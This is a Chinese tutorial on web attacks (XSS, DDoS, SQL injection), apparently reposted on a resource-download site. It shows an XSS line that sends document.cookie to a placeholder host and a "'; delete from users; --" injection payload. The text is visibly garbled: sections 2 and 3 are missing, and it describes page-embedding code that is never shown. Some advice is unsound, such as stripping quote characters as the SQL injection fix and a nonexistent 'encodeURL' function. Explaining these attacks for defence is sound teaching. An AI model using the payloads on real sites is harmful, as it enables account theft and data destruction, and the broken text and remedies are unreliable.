1. XSS

Cross Site Scripting 跨站点脚本攻击。它的特点是尽一起办法在目标网站上执行非目标网站上原有的脚本。

  • 手段:黑客将 JS 代码插入到网页内容中,渲染时执行 JS 代码。
  • 预防:特殊字符替换。

在网站上动态渲染任意 HTML 是非常危险的,因为容易导致 XSS 攻击。确保将特殊字符进行转换。
如下例子:
let img = document.createElement(“image”); img.src = ‘https://host/api?cookie‘ + document.cookie;
img 元素一旦附上 src 属性就会发送 HTTP 请求,这时候就把本网站的 Cookie 传到了黑客自己的服务器了,就可以控制用户在被攻击网站上的账号权限了。
预防就是将特殊符号替换,比如将 > 替换成 >,< 替换成 < ,这样

上面代码首先设置了整个页面不可见,随后检测页面是否被内嵌。如果没有被内嵌,则移除设置页面不可见的样式,否则把顶层页面的地址设置为内嵌页面的地址,从而阻止了页面的内嵌。

4. DDos

Distribute denial-of-service 分布式拒绝服务。

  • 手段:分布式、大规模的流量访问,使服务器瘫痪。
  • 预防:软件层不好做,需要硬件预防。

比如黑客散播了一个病毒程序,植入很多人的手机,使这些人的手机同时去访问某一网站,致使服务瘫痪。
可以通过硬件手段,比如使用阿里云的 WAF(web application firewall),用于防注入和控制机器人流量。

5. SQL 注入

  • 手段:黑客提交内容时写入 SQL 语句,破环数据库。
  • 预防:避免传输特殊字符,处理特殊字符,替换特殊字符。

SQL 注入虽然是后端处理的安全问题,但是问题出自前端,是因为用户输入了特殊字符,和前端也有关系。

5.1. 避免传输特殊字符

用户输入给了攻击者可乘之机,在输入的时候添加必要的校验和过滤即可。具体就是针对用户输入进行 HTML 编码、HTML 标签属性编码、JavaScript 编码、URL 编码。比如使用函数 encodeURL 对 RRL 编码。

5.2. 替换特殊字符

比如 SQL 语句,用于查询一个用户:
select * from users where username=’zhangsan’ and pword=’123′
假设前端提交的用户名不是正常的字符,而是 SQL 语句,比如:
‘; delete from users; —
则上面的查询语句变为:
select * from users where username=”; delete from users; –‘ and pword=’123’
这就变成了三条 SQL 语句,第一条查询所有用户名为空的用户,第二条删除 users 表,第三条后面的语句被注释了。
将上面单引号删掉,– 删掉,就变成:select * from users where username=’; delete from users; ‘ and pword=’123’,查询的用户名是:; delete from users; 虽然查不到这样的用户,但不会有安全问题。

原文地址:http://www.cnblogs.com/guojiabing/p/16789697.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性